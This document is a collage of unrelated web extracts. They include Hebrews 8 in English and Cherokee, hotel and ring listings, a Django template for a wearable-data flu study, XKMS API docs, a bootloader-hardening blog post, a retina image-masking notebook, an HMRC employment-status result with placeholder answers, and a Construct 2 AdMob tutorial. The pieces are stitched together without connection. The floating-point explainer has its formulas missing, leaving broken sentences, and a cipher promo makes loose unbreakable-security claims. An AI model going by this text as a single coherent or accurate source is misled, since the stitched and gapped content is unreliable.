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| Who serve unto the example and shadow of heavenly things, as Moses was admonished of God when he was about to make the tabernacle: for, See, saith he, that thou make all things according to the pattern shewed to thee in the mount.
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| ᎾᏍᎩ ᎾᎿᎭᏥᏚᏂᎸᏫᏍᏓᏁᎭ ᏗᏟᎶᏍᏔᏅᎯ ᎠᎴ ᎤᏓᏩᏗᏍᏙᏛ ᎦᎸᎳᏗ ᎡᎯ ᎦᎵᏦᏛᎢ, ᎾᏍᎩᏯ [ᎤᏁᎳᏅᎯ] ᎼᏏ ᏧᏁᏤᎴ ᎾᎯᏳ ᎦᎵᏦᏙᏗ ᏨᏗᎪᏢᏂᏎᎢ; ᎭᎦᏌᏯᏍᏔᏅᎭ ᏧᏛᏁᎢ, ᏕᎰᏢᏍᎬ ᏂᎦᏛ ᏧᏓᎴᏅᏛ ᎾᏍᎩᏯ ᏗᏟᎶᏍᏙᏗ ᎠᎲ ᎾᏍᎩ ᏤᏣᎾᏄᎪᏫᏎᎸ ᎣᏓᎸ ᏅᏁᎸᎭ.
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Na-s-gi na-hna tsi-du-ni-lv-wi-s-da-ne-ha di-tli-lo-s-ta-nv-hi a-le u-da-wa-di-s-do-dv ga-lv-la-di e-hi ga-li-tso-dv-i, na-s-gi-ya [U-ne-la-nv-hi] Mo-si tsu-ne-tse-le na-hi-yu ga-li-tso-do-di tsv-di-go-tlv-ni-se-i; ha-ga-sa-ya-s-ta-nv-ha tsu-dv-ne-i, De-ho-tlv-s-gv ni-ga-dv tsu-da-le-nv-dv na-s-gi-ya di-tli-lo-s-do-di a-hv na-s-gi tse-tsa-na-nu-go-wi-se-lv o-da-lv nv-ne-lv-ha.
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| But now hath he obtained a more excellent ministry, by how much also he is the mediator of a better covenant, which was established upon better promises.
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| ᎾᏍᎩᏃ ᏥᏄᏍᏗ ᎪᎯ ᎨᏒ ᎤᏟ ᎢᎦᎸᏉᏗ ᏗᎦᎸᏫᏍᏓᏁᏗ ᎨᏒ ᎤᏩᏛᎲ, ᏅᏗᎦᎵᏍᏙᏗᎭ ᎠᏰᎵ ᎠᎴᎲᏍᎩ ᎨᏒ ᎤᏟ ᎢᏲᏍᏛ ᎧᏃᎮᏛ ᏓᏠᎯᏍᏛ ᎤᎬᏩᎸᎢ, ᎾᏍᎩ ᎤᏟ ᎢᏲᏍᏛ ᏓᏚᎢᏍᏛ ᏧᎵᏍᏓᏱᏍᏗ.
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Na-s-gi-no tsi-nu-s-di go-hi ge-sv u-tli i-ga-lv-quo-di di-ga-lv-wi-s-da-ne-di ge-sv u-wa-dv-hv, nv-di-ga-li-s-do-di-ha a-ye-li a-le-hv-s-gi ge-sv u-tli i-yo-s-dv ka-no-he-dv da-tlo-hi-s-dv u-gv-wa-lv-i, na-s-gi u-tli i-yo-s-dv da-du-i-s-dv tsu-li-s-da-yi-s-di.
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| For if that first covenant had been faultless, then should no place have been sought for the second.
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| ᎢᏳᏰᏃ ᎢᎬᏱᏱ ᎧᏃᎮᏛ ᏓᏠᎯᏍᏛ ᎦᎫᎯᏍᏙᏗ ᏂᎨᏒᎾ ᏱᎨᏎᎢ, ᎥᏝ ᏅᏩᏓᎴ ᎧᏃᎮᏛ ᏗᏠᎯᏍᏙᏗᏱ ᏱᎬᏩᏂᏔᏲᎴᎢ.
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I-yu-ye-no i-gv-yi-yi ka-no-he-dv da-tlo-hi-s-dv ga-gu-hi-s-do-di ni-ge-sv-na yi-ge-se-i, v-tla nv-wa-da-le ka-no-he-dv di-tlo-hi-s-do-di-yi yi-gv-wa-ni-ta-yo-le-i.
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| For finding fault with them, he saith, Behold, the days come, saith the Lord, when I will make a new covenant with the house of Israel and with the house of Judah:
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| ᎡᏍᎦᏰᏃ ᎤᏰᎸᏅ ᎯᎠ ᏂᏚᏪᏎᎴᎢ, ᎬᏂᏳᏉ, ᏛᏍᏆᎸᎯ, ᎠᏗᎭ ᎤᎬᏫᏳᎯ, ᎾᏍᎩ ᎢᏤ ᎧᏃᎮᏛ ᏗᎦᏥᏯᏠᎢᏍᏓᏁᏗᏱ ᎢᏏᎵ ᏏᏓᏁᎸᎯ ᎨᏒ ᎠᎴ ᏧᏓ ᏏᏓᏁᎸᎯ ᎨᏒᎢ.
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E-s-ga-ye-no u-ye-lv-nv hi-a ni-du-we-se-le-i, Gv-ni-yu-quo, dv-s-qua-lv-hi, a-di-ha U-gv-wi-yu-hi, na-s-gi i-tse ka-no-he-dv di-ga-tsi-ya-tlo-i-s-da-ne-di-yi I-si-li si-da-ne-lv-hi ge-sv a-le Tsu-da si-da-ne-lv-hi ge-sv-i.
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| Not according to the covenant that I made with their fathers in the day when I took them by the hand to lead them out of the land of Egypt; because they continued not in my covenant, and I regarded them not, saith the Lord.
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| ᎥᏝ ᎾᏍᎩᏯ ᎧᏃᎮᏛ ᏕᎦᏥᏯᏠᎢᏍᏓᏁᎸ ᏧᏂᎦᏴᎵᎨᎢ, ᎾᎯᏳ ᎦᏂᏲᏯᏁᏒ ᎦᏥᏄᎪᏫᏍᏗᏱ ᎢᏥᏈᏱ ᎦᏓ ᎠᎲᎢ; ᎥᏝᏰᏃ ᏳᏂᏍᏆᏂᎪᏔᏁ ᎧᏃᎮᏛ ᏕᎦᏥᏯᏠᎢᏍᏓᏁᎸᎢ, ᎠᎴ ᎠᏴ ᎥᏝ ᏱᎦᏥᏯᎦᏌᏯᏍᏔᏁᎢ, ᎠᏗᎭ ᎤᎬᏫᏳᎯ.
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V-tla na-s-gi-ya ka-no-he-dv de-ga-tsi-ya-tlo-i-s-da-ne-lv tsu-ni-ga-yv-li-ge-i, na-hi-yu ga-ni-yo-ya-ne-sv ga-tsi-nu-go-wi-s-di-yi I-tsi-qui-yi ga-da a-hv-i; v-tla-ye-no yu-ni-s-qua-ni-go-ta-ne ka-no-he-dv de-ga-tsi-ya-tlo-i-s-da-ne-lv-i, a-le a-yv v-tla yi-ga-tsi-ya-ga-sa-ya-s-ta-ne-i, a-di-ha U-gv-wi-yu-hi.
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| For this is the covenant that I will make with the house of Israel after those days, saith the Lord; I will put my laws into their mind, and write them in their hearts: and I will be to them a God, and they shall be to me a people:
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| ᎯᎠᏰᏃ ᎾᏍᎩ ᏄᏍᏕᏍᏗ ᎧᏃᎮᏛ ᏙᏓᎦᏥᏯᏠᎢᏍᏓᏁᎵ ᎢᏏᎵ ᏏᏓᏁᎸᎯ ᎨᏒ ᎾᎯᏳ ᎦᎶᏐᏅᎭ ᎠᏗᎭ ᎤᎬᏫᏳᎯ; ᏚᎾᏓᏅᏛ ᏓᏓᏥᎳᏂ ᏗᏆᏤᎵ ᏗᎧᎿᎭᏩᏛᏍᏗ, ᎠᎴ ᏧᏂᎾᏫᏱ ᏙᏓᎪᏪᎳᏂ; ᎠᎴ ᎠᏴ ᎦᏥᏯᏁᎳᏅᎯ ᎨᏎᏍᏗ, ᎤᏅᏒᏃ ᏗᏆᏤᎵ ᏴᏫ ᎨᏎᏍᏗ;
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Hi-a-ye-no na-s-gi nu-s-de-s-di ka-no-he-dv do-da-ga-tsi-ya-tlo-i-s-da-ne-li I-si-li si-da-ne-lv-hi ge-sv na-hi-yu ga-lo-so-nv-ha a-di-ha U-gv-wi-yu-hi; du-na-da-nv-dv da-da-tsi-la-ni di-qua-tse-li di-ka-hna-wa-dv-s-di, a-le tsu-ni-na-wi-yi do-da-go-we-la-ni; A-le a-yv Ga-tsi-ya-ne-la-nv-hi ge-se-s-di, u-nv-sv-no di-qua-tse-li yv-wi ge-se-s-di;
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| And they shall not teach every man his neighbour, and every man his brother, saying, Know the Lord: for all shall know me, from the least to the greatest.
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| ᎥᏝ ᎠᎴ ᎩᎶ ᎠᏏᏴᏫ ᎨᏒ ᎾᎥ ᎢᏧᎾᏓᎵ, ᎠᎴ ᏗᎾᏓᏅᏟ ᎨᏒ ᏱᎨᏲᎲᏍᎨᏍᏗ, ᎯᎠ ᏱᏂᎦᏪᏍᎨᏍᏗ, ᎯᎦᏙᎥᎯ ᎤᎬᏫᏳᎯ; ᎾᏂᎥᏉᏰᏃ ᎬᎩᎦᏔᎯᏳ ᎨᏎᏍᏗ, ᎤᏍᏗᎧᏂ ᎡᎲ ᏅᏓᎬᏩᏓᎴᏅᏛ, ᎤᏟ ᎢᏯᏥᎸᏉᏗ ᎡᎲ ᏫᎬᏍᏗ.
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V-tla a-le gi-lo a-si-yv-wi ge-sv na-v i-tsu-na-da-li, a-le di-na-da-nv-tli ge-sv yi-ge-yo-hv-s-ge-s-di, hi-a yi-ni-ga-we-s-ge-s-di, Hi-ga-do-v-hi U-gv-wi-yu-hi; na-ni-v-quo-ye-no gv-gi-ga-ta-hi-yu ge-se-s-di, u-s-di-ka-ni e-hv nv-da-gv-wa-da-le-nv-dv, u-tli i-ya-tsi-lv-quo-di e-hv wi-gv-s-di.
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| For I will be merciful to their unrighteousness, and their sins and their iniquities will I remember no more.
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| ᏓᎦᏥᏯᏙᎵᏥᏰᏃ ᎤᏣᏘᏂ ᏄᎾᏛᏁᎸᎢ, ᎤᏂᏍᎦᏅᏨᏃ ᎠᎴ ᎤᏲ ᏄᎾᏛᏁᎵᏙᎸ ᎥᏝ ᎿᎭᏉ ᎠᏆᏅᏓᏗᏍᏗ ᏱᎨᏎᏍᏗ.
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Da-ga-tsi-ya-do-li-tsi-ye-no u-tsa-ti-ni nu-na-dv-ne-lv-i, u-ni-s-ga-nv-tsv-no a-le u-yo nu-na-dv-ne-li-do-lv v-tla hna-quo a-qua-nv-da-di-s-di yi-ge-se-s-di.
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| In that he saith, A new covenant, he hath made the first old. Now that which decayeth and waxeth old is ready to vanish away.
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| ᎾᏍᎩᏃ ᏌᏉ ᎢᏤ ᏥᎪᏎᎭ, ᏐᎢ ᎤᏪᏘ ᏂᎬᏁᎭ. ᎪᎱᏍᏗᏰᏃ ᎤᏪᏘ ᎢᎬᏁᎸᎯ ᎠᎴ ᎤᏪᏔᏨᎯ ᏥᎨᏐ, ᎤᏲᏥᏕᏅ ᎨᏐᎢ.
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Na-s-gi-no sa-quo i-tse tsi-go-se-ha, so-i u-we-ti ni-gv-ne-ha. Go-hu-s-di-ye-no u-we-ti i-gv-ne-lv-hi a-le u-we-ta-tsv-hi tsi-ge-so, u-yo-tsi-de-nv ge-so-i.
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Middle Earth Supplier
Template for a retail store which uses fictional products to demonstrate the functionality. Backed by a MySQL database with a Sequelize ORM. Uses Passport for user authentication.
Template for a retail store which uses fictional products to demonstrate the functionality. Backed by a MySQL database with a Sequelize ORM. Uses Passport for user authentication.
Full stack application with MySQL, Node, Express, Handlebars, and a homemade ORM following the MVC design pattern.
Command-line CMS for tracking employees, roles, and departments using Node.js, Inquirer, and MySQL.
Node.js command-line application that generates an HTML webpage. Uses Jest for running unit tests and Inquirer for collecting user input.
Search for national parks using the NPS API and view their locations in Google Maps.
Dashboard to retrieve weather data for cities using the OpenWeather API.
Timed JavaScript quiz with multiple-choice questions.


Generate quote
“Sing like no one’s listening, love like you’ve never been hurt, dance like nobody’s watching, and live like it’s heaven on earth.”
~Harish


12 rooms available found
LUXURY ROOM 3 rooms available
- Free LAN and WiFi access
- Coffee shop
- Concierge
- Elevator
- Laundry service/dry cleaning
- Pets allowed
- Poolside bar
- Safety deposit boxes
Deluxe ROOM3 rooms available
- Free LAN and WiFi access
- Coffee shop
- Concierge
- Elevator
- Laundry service/dry cleaning
- Pets allowed
- Poolside bar
- Safety deposit boxes
Elegant ROOM 3 rooms available
- Free LAN and WiFi access
- Coffee shop
- Concierge
- Elevator
- Laundry service/dry cleaning
- Pets allowed
- Poolside bar
- Safety deposit boxes
Superior ROOM 3 rooms available
- Free LAN and WiFi access
- Coffee shop
- Concierge
- Elevator
- Laundry service/dry cleaning
- Pets allowed
- Poolside bar
- Safety deposit boxes


{% extends 'base.html' %} {% load static %} {% block main %} {% if not request.user.is_authenticated %}
We have two ways you can contribute…
Report when you got sick and share your wearable device data. We'll plot your data for you! Currently we support Fitbit & Oura Ring, Apple Watch, Garmin and Google Fit. Ask us to add support for your wearable, if yours is missing so far!
Sign up for daily check-ins to tell us if you got sick, as well as symptoms and viral test results.
You can opt-in to share the aggregated and deidentified data with researchers and publicly, to maximize the impact of your data! This includes some weeks of wearable data around the sick dates, as well as the reported symptoms.
Click the button above to get started. Accounts are managed via Open Humans, which enables you to securely store, access, and manage your wearable data. You can easily create an account as part of the login process.
{% endif %} {% if request.user.is_authenticated %} {% if missing_sources|length == 5 %}You can connect these data sources to correlate them with reported illness.
Note: "no symptoms" reports are also important! By tracking if and when you have symptoms of illness, we can develop better models to understand this data.
Report symptoms {% if openhumansmember.symptomreport_set.all %} View past reports {% endif %}
To see if we can predict getting sick, we need good data on when you get sick! If you schedule check-ins, and we'll send an email with a quick link to report you're fine – or a link to report symptoms.
{% with checkin_form as form %} {% include 'checkin/partials/schedule-form.html' %} {% endwith %} {% else %}Check-ins scheduled: {{ checkin_form.instance.time }} {{ checkin_form.instance.timezone }}
{% endif %}You've connected data! You can also add more data sources:
Your data files: If our data retrieval has worked, your
data file ("QF-fitbit-data.json"
) should be
available in your Open Humans account here:
www.openhumans.org/activity/quantified-flu/
{% else %}
Your data files: You've shared Fitbit data via the
Open Humans importer app. Your data file ("fitbit-data.json"
)
should be available in your Open Humans account here:
www.openhumans.org/activity/fitbit-connection/
You can manage this connection at:
fitbit.openhumans.org
Your data files: If our data retrieval has worked, your
data file ("QF-oura-data.json"
) should be
available in your Open Humans account here:
www.openhumans.org/activity/quantified-flu/
Your data files: You've shared Oura data via the
Open Humans importer app. Your data file ("oura-data.json"
)
should be available in your Open Humans account here:
www.openhumans.org/activity/oura-connect/
You can manage this connection at:
oura.openhumans.org
Your data files: You've shared Oura data via the
Open Humans importer app. Your data file ("heartrate_samples*.csv"
)
should be available in your Open Humans account here:
https://www.openhumans.org/activity/oh-data-port-for-apple-health/
You can update your data through the iPhone app.
Your data files: If our data retrieval has worked, your
googlefit data files should be
available in your Open Humans account here:
www.openhumans.org/activity/quantified-flu/
Your data files: You've shared GoogleFit data via the
Open Humans importer app. Your data files
should be available in your Open Humans account here:
www.openhumans.org/activity/google-fit/
You can manage this connection at:
google-fit.openhumans.org
Your data files: If our data retrieval has worked, your
garmin data files should be
available in your Open Humans account here:
www.openhumans.org/activity/quantified-flu/


#include <XKMSPrototypeKeyBinding.hpp>
Inheritance diagram for XKMSPrototypeKeyBinding:
Constructors and Destructors | |
| virtual | ~XKMSPrototypeKeyBinding () |
| XKMSPrototypeKeyBinding () | |
Public Member Functions | |
Get Methods | |
| virtual XKMSValidityInterval * | getValidityInterval (void) const =0 |
| Get the suggested ValidityInterval for this key. | |
| virtual const XMLCh * | getRevocationCodeIdentifier (void) const =0 |
| Obtain the RevocationCodeIdentifier to be used for this key. | |
Set Methods | |
| virtual void | setValidityInterval (const XMLCh *notBefore, const XMLCh *notOnOrAfter)=0 |
| Set the Validity Interval for this key. | |
| virtual void | setRevocationCodeIdentifier (const XMLCh *identifier)=0 |
| Set the RevocationCodeIdentifier. |
|
|
|
|
|
|
|
|
Obtain the RevocationCodeIdentifier to be used for this key. The client can provide a revocation code when registering a new key. The code provided initially is a double MACd version of the client's revocation pass phrase. Should the client later wish to later revoke their key, they should provde the single MACd version which can then be converted to the double MAC by the server - thus validating the code without ever passing anything over the wire that will directly compromise the key until the final revoke request
|
|
|
Get the suggested ValidityInterval for this key. Clients can suggest a Validity period for a key using this element. Such requests can (of course) be ignored by the server
|
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|
Set the RevocationCodeIdentifier. Sets the revocation code identifer
|
|
|
Set the Validity Interval for this key.
|


Meet
Orange Cipher . It's based of off the only cipher that's theoretically unbreakable: the one-time pad cipher. Most modern encryption relies on primes and favorable factoring odds (which quantum computers will quickly render obsolete), but Orange Cipher uses good-old fashioned keys. Do you want
real, quantum-resistant security? You should check out Orange Cipher.
Want to learn more? We'll have a blog post coming up any day now describing how Orange Cipher works. If you want, though, you can dive right in at
waggish.me/orange/.


To properly implement rEFInd, this means you need to know what you’re doing, especially if your security requires more than usual concern. Otherwise, you’re completely exposing super-root access to your laptop.
I cannot underscore the importance of these, if security is a top priority. If it is, you should really not be running rEFInd. You should have a single bootable OS, with a minimal bootloader and you should be using Secure Boot.
Plz Note: this list should not be considered exhaustive, nor should this post be considered authoritative. I’m just learning about bootloaders myself. But this is a good starting point.
I should also note that configuring all these correctly is a pain. It will require entering two passwords before you get to your OS password.
General Password Security Notes
For many, using a password manager sounds overly complicated, especially one that’s not sync’d to the cloud. However, I can assure you, it’s actually way simpler. Just trust me. Everyone needs a variable degree of privacy, but it’s important to know what protections your process actually gives you.
Don’t let someone own all your bases at once.
In general: use distinct passwords for LUKS, disk-encryption, password safes, OS users and OS Super Users. This provides proper security through compartmentalization.
Furthermore, compartmentalize your use of a password manager by creating multiple files (with separate keys!) and secure access to these files physically. That is, separate your most important passwords (GMail, etc) from the rest of your passwords. If you have passwords for work or whatever, don’t store them all in one place.
Don’t store these password files on your computer and definitely not in the cloud. Instead, store the most crucial ones on a LUKS-encrypted USB drive. Or use a YubiKey, properly configured.
(1) Signing your EFI bootloader!
If your bootloader is not signed, it can be modified. This means a malicious program could make modifications to your kernel images, in memory, before your OS fully loads. For OSX, Linux or Windows, this means that arbitrary code could be loaded at the OS level as you’re booting. This can wreak all kinds of havoc and/or mute any protections you might think you have.
(2) Configuring Secure Boot!
This involves signing your bootloader and configuring UEFI to reject bootloaders that don’t hash out…
(3) Restricting your UEFI boot devices!
Someone who attains root access in an install can alter/update the UEFI boot order or trigger an alternate UEFI boot. This means they can boot from CD/USB or whatever. So even if you do not have vulnerabilities in your systems configured, they can attain access through an external linux ISO. If you’ve configured things correctly, this should not provide them with any more options.
(4) Limiting your EFI/eEFInd boot options!
There are several problematic defaults for rEFInd, but which are needed for newbs. For example, if you don’t restrict rEFInd boot options, rEFInd scans accessible disks for bootable images. Any of these images can be booted. You can configure rEFInd to allow users to alter arguments passed to bootable images (partition, luks options, etc.) This is a very helpful option if you’re learning about this stuff, but also another avenue for an adversary with physical access. And rEFInd offers other tools like MOKS and other options which are enabled by default. After you’ve got your bootloader set and signed, you need to disable this stuff.
(5) Utilizing whole-disk encryption (LUKS)!
If you’re not using LUKS whole-disk encryption, this means anyone who has 10 minutes access to your laptop can access rEFInd. Using LUKS should prompt you for a password before you can boot into rEFInd.
(6) Encrypting your individual partitions!
If your disks are not encrypted, they are full accessible to any OS/program than can be booted from EFI. This means if you have a linux install that you’re just messing with, someone could obtain access to all your OSX data, if that partition is not encrypted. Using disk encryption for individual partitions means that you should be prompted for a password before you boot into an OS from rEFInd. That’s a second password, before you get to your OS password.
(7) Consistent Partition Table
When working with an existing OSX installation, you can end up with a hybrid partition table, which is confusing. You may need to image your partitions and reload them.
(8) Retaining access to your Mac’s Restore Partition!
If things go wrong, you’re going to want access to the restore partition, as it provides alot of tools for troubleshooting these problems, especially with regard to OSX and Mac hardware. It really sucks to not have this when you need it.
(9) While not locking yourself out of rEFInd!
Retain a bootloader backup that can be used in case you hose your. If you can’t boot into rEFInd, you’re going to have to get creative to restore it. This means backing up your EFI partition and getting access to change your UEFI boot order.
I think. Haven’t gone through this myself. Like I said. I’m not an expert here.
(10) Using distinct keys for LUKS, Encryption and Passwords
Your individual partitions should not be encrypted with the same key. You can’t access a password manager at boot time. You should not reuse your LUKS key or any of your disk encryption keys as passwords anywhere else. Disk encryption is not very secure, especially if adversaries have physical access or can image sections of your disk multiple times.
That’s all I can think of for now. Leave a comment below if you’d like to discuss.


We have a dataset of over 35,000 fundus images and we need to do some processing on them. Seems rational to first learn to locate the object of interest and create a mask of it, so that we can reliably separte the irrelevant background from the actual image we are going to process. This is not a particularly hard problem. In this notebook we use OpenCV 2.4 for the job
The eye itself is a circular object (in theory) clearly separated from the dark background. If we try to find all the edges in the image, the convex hull that unites all these edges should (in theory) be the eye!
# Auxilary function to display a list of images
%matplotlib inline
from matplotlib import pyplot as plt
from os import path
import numpy as np
import cv2
import pandas as pd
def show_images(images,titles=None, scale=1.3):
"""Display a list of images"""
n_ims = len(images)
if titles is None: titles = ['(%d)' % i for i in range(1,n_ims + 1)]
fig = plt.figure()
n = 1
for image,title in zip(images,titles):
a = fig.add_subplot(1,n_ims,n) # Make subplot
if image.ndim == 2: # Is image grayscale?
plt.imshow(image)
else:
plt.imshow(cv2.cvtColor(image, cv2.COLOR_RGB2BGR))
a.set_title(title)
plt.axis("off")
n += 1
fig.set_size_inches(np.array(fig.get_size_inches(), dtype=np.float) * n_ims / scale)
plt.show()
img_path = "/kaggle/retina/train/sample"
image_names = ["16_left.jpeg", "10130_right.jpeg", "21118_left.jpeg"]
image_paths = map(lambda t: path.join(img_path, t), image_names)
images = map(lambda p: cv2.imread(p), image_paths)
# let's see what we've got
image_titles = map(lambda i: path.splitext(i)[0], image_names)
show_images(images, image_titles, scale = 0.8)
#Pyramid Down & blurr
# Easy-peesy
def pyr_blurr(image):
return cv2.GaussianBlur(cv2.pyrDown(image), (7, 7), 30.)
images = map(lambda i: pyr_blurr(i), images)
# Function to display contours using OpenCV.
def display_contours(image, contours, color = (255, 0, 0), thickness = -1, title = None):
# Contours are drawn on the original image, so let's make a copy first
imShow = image.copy()
for i in range(0, len(contours)):
cv2.drawContours(imShow, contours, i, color, thickness)
show_images([imShow], scale=0.7, titles=title)
image = images[1]
# this is a good threshold for Canny edge finder, but it does not always work. We will see how to deal with it furhter on.
thresh = 4
# Searcing for the eye
# Let's see how this works setp-by-step
# convert to a one channel image
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
# Canny edge finder
edges = np.array([])
edges = cv2.Canny(gray, thresh, thresh * 3, edges)
# Find contours
# second output is hierarchy - we are not interested in it.
contours, _ = cv2.findContours(edges, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
# Let's see what we've got:
display_contours(image, contours, thickness=2)
print "{:d} points".format(len(np.vstack(np.array(contours))))
# Now let's get only what we need out of it
hull_contours = cv2.convexHull(np.vstack(np.array(contours)))
hull = np.vstack(hull_contours)
# we only get one contour out of it, let's see it
display_contours(image, [hull], thickness=3, color=(0, 255, 0))
Finally, in order to create a mask, we simply draw the hull on a totally black image, using "fill" collor white with the drawContours API.
# Now let's create a mask for this image
def createMask((rows, cols), hull):
# black image
mask = np.zeros((rows, cols), dtype=np.uint8)
# blit our contours onto it in white color
cv2.drawContours(mask, [hull], 0, 255, -1)
return mask
mask = createMask(image.shape[0:2], hull)
show_images([mask])
def find_eye(image, thresh = 4):
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
# Canny edge finder
edges = np.array([])
edges = cv2.Canny(gray, thresh, thresh * 3, edges)
# Find contours
# second output is hierarchy - we are not interested in it.
contours, _ = cv2.findContours(edges, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
# Now let's get only what we need out of it
hull_contours = cv2.convexHull(np.vstack(np.array(contours)))
hull = np.vstack(hull_contours)
def createMask((rows, cols), hull):
# black image
mask = np.zeros((rows, cols), dtype=np.uint8)
# blit our contours onto it in white color
cv2.drawContours(mask, [hull], 0, 255, -1)
return mask
mask = createMask(image.shape[0:2], hull)
# returning the hull to illustrate a few issues below
return mask, hull
In order to apply the mask, we just use numpy magic
def mask_background(image, mask):
# copy to preserve the original
im = image.copy()
im[mask == 0, :] = 0
return im
# find the eye and get the background mask
mask, _ = find_eye(image)
maskedBg = mask_background(image, mask)
print "Masked Background"
show_images([maskedBg], scale=0.9)
How about 21118_left? This was an especially low quality image.
mask, _ = find_eye(images[2])
plt.imshow(mask)
plt.show()
Ok. This is not good. The image was too dark, so we need to set a lower threshold for the Canny filter
mask, _ = find_eye(images[2], 1)
plt.imshow(mask)
plt.show()
This is much better. A simple heuristic works pretty well on our data set: if the resulting mask occupies less than 41% percent of the image, we reduce the threshold to 1. We must be careful, though. If we approach the problem with this threshold at the very beginning i.e, set the threshold to 1 for all images, for many images we will catch a lot of background noise in our mask and it will be no mask at all!
# Must be careful not to set the threshold too low from the start.
mask, _ = find_eye(images[1], 1)
plt.imshow(mask)
plt.show()


Seattle's Best Salmon Cookies
Home
Sales
addingSalmonCookies
city location name
minCust
maxCust
averageCookieSale
openTime
closeTime


Current Connections
00000
Last Hour
Last 24h
Last 30Days
000000
000000
000000
SB2 IDs Log
SB3 IDs Log
This is a test where am I


My Favourite Cities
Home
Tasks
Cities
Home
Tasks
Cities
Chicago
Las Vegas
Austin
San Diego
Charlotte


Computers such as the IBM-704 store real numbers in a format called floating-point. The floating point format allows computers to store and perform arithmetic upon numbers of diverse magnitudes with appreciable precision. A floating point system is defined by two numbers: the Base and the Precision (The base is sometimes called the radix).
A real number represented as a floating point itself has two parts: a Significand and an Exponent.
To demonstrate, let us examine how a number is represented with Base 10 and Precision 3
This number would be stored as a floating point with Significand and Exponent .
This floating point corresponds to the number:
(Note that there may be a discrepancy between your actual number and how it's represented. There is an error of the size: - = )


Finding Engagement And Wedding Rings is an important part of wedding planning. Let The Dream wedding helps you find the perfect wedding rings that you and your partner will wear for the rest of your lives. The Engagement And Wedding Rings gallery on The Dream wedding is a collection of men's wedding rings and wedding rings for women of all different styles. Find Engagement And WeddingRings sets in white gold, rose gold, plantinum, silver, or other
PRICE:100$
PRICE:90$
PRICE:100$
PRICE:90$
PRICE:54$
PRICE:30$
PRICE:54$
PRICE:50$
PRICE:64$
PRICE:50$


| Checked by | a |
|---|---|
| End client's name | aa |
| Engagement job title | a |
| Reference | a |
Based on the information you’ve given the working practices of this engagement fall outside the scope of the intermediaries legislation.
The worker should pay tax and National Insurance as a self-employed person.
You should reassess the status of the role if there are changes to the engagement or the way the work is done.
You should now do the following:
If you’re the worker you should be paid a gross amount and follow this guidance about your taxes.
If you’re the fee payer you can pay this worker a gross amount without deducting tax or National Insurance.
About this result
HMRC won’t keep a record of this transaction for security reasons.
HMRC will stand by the result given unless a compliance check finds the information provided isn’t accurate.
HMRC won’t stand by results achieved through contrived arrangements designed to get a particular outcome from the service. This would be treated as evidence of deliberate non-compliance with associated higher penalties.
HMRC can review your taxes for up to 20 years
Your answers
Which of these describes you best?
The workerHas the worker already started this particular engagement for the end client?
NoHow does the worker provide their services to the end client?
As a limited companyIs the worker or their business an office holder for the end client?
NoWould the end client accept the worker's business sending someone else to do this work instead?
YesWould the worker's business have to pay the person who did the work instead of them?
NoCan the end client move the worker to a different task or project than they originally agreed to do?
Yes - but only with the worker's agreementOnce the worker starts the engagement, can the end client decide how the work is done?
The worker decides how the work needs to be done without any input from the end clientCan the end client decide the schedule of working hours?
The worker decides their own scheduleCan the worker choose where they work?
Yes - the worker decidesWhat does the worker have to provide for this engagement that they can't claim as an expense from the end client or an agency?
Materials - items that form a lasting part of the work, or an item bought for the work and left behind when the worker leaves (not including stationery, and most likely to be relevant to substantial purchases in the construction industry)
Decision Service Version: 1.2.0-final


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In this chapter, we will add 2 more functions to the Admob event sheet and call those functions from Event sheet 1.
Open the Admob event sheet to add another function. Then click on the Add event button as shown in Fig 5-1 below.
Then, in the next window that appears, click on the Function object as shown in Fig 5-2 below.
In the next screen that follows, select the ‘On function’ event as shown in Fig 5-3 below.
Then, in the next screen, give a name for your function. Call it ‘admobShowBanner’ as shown in Fig 5-4 below.
At this point, your Admob event sheet should look like Fig 5- 5 below.
In Fig 5-5 above, click on the button ‘Add action’ to insert an action to your function. In the next screen as shown in Fig 5-6 below, select the object ‘CordovaAdmobFree’.
Then, you will see the next window as shown in Fig 5-7 below. Go ahead and select the action ‘Show a banner’.
After completing all the steps above, your Admob event sheet should look like Fig 5-8 below.
Next, we will create another function called ‘admobShowInterstitial’ using the same sequence of steps from Fig 5-1 to Fig 5-8 above. Go ahead and click on the button ‘Add event’ as in Fig 5-1, followed by selecting the Function object as in Fig 5-2. Then, select the ‘On Function’ event as shown in Fig 5-3. You will then come to the windows where you will need to enter a name for your function as shown in Fig 5-9 below.
Give your function the name ‘admobShowInterstitial’. Then, in the next screen as shown in Fig 5-10 below, click on the button ‘Add action’.
Then, select the ‘CordovaAdmobFree’ object as shown in Fig 5-6 in an earlier step which is similar. In the next screen, as in Fig 5-11 below, select the action ‘Load and show an interstitial’. Do not select ‘Show a preloaded interstitial’ - it does not work.
In the next screen as shown in Fig 5-12 below, accept the default setting Show Overlap to true.
At this stage, your Admob event sheet should look something like Fig 5-13 below.
Now that we have completed all 3 functions it is time to call those functions from Event sheet 1.
At this stage, Event sheet 1 has got a btnShowBannerAd event as shown in Fig 5-14 below.
Go ahead and add an ‘On start of layout’ event as shown in Fig 5-15 below.
Then click on ‘Add action’ and then click on the Function object as shown in Fig 5-16 below.
Then, in the next screen, select the action ‘Call function’ as shown in Fig 5-17 below.
You will then get to choose the function you wish to call. This is shown in Fig 5-18 below.
From Fig 5-18 above, note that when you type the double- quotes “ in the textbox, a dropdown list appears and shows you all the availabe functions. Go ahead and select the function ‘loadAdmobAds’. Next, we need to reference the Admob event sheet. To do that, right-click on the event sheet and you will see a dropdown list as shown in Fig 5-19 below.
Go ahead and click on ‘Include event sheet’. You will then see the next window as shown in Fig 5-20 below. Go ahead and select the Admob event sheet, then click on button ‘OK’.
At this stage, your Event sheet 1 should look Fig 5-21 below.
Add the function call “admobShowBanner” for the btnShowBannerAd event as shown in Fig 5-22 below.
Then, go ahead and complete the code by adding another event for btnShowInterstitialAd and also its corresponding Function call “admobShowInterstitial” as shown in Fig 5-23 below.
Our coding is now complete. To test our buttons to make sure they are properly hooked up to the functions, I have added a Text object into the layout as shown in Fig 5-24 below.
Fig 5-24 above shows that I have added a Text object and called it txtDebug. I then went ahead and added the corresponding txtDebug code into the 2 functions in Admob event sheet as shown in Fig 5-25 below.
Now, run the game. Your txtDebug will show the message: “ads loaded” as shown in Fig 5-26 below.
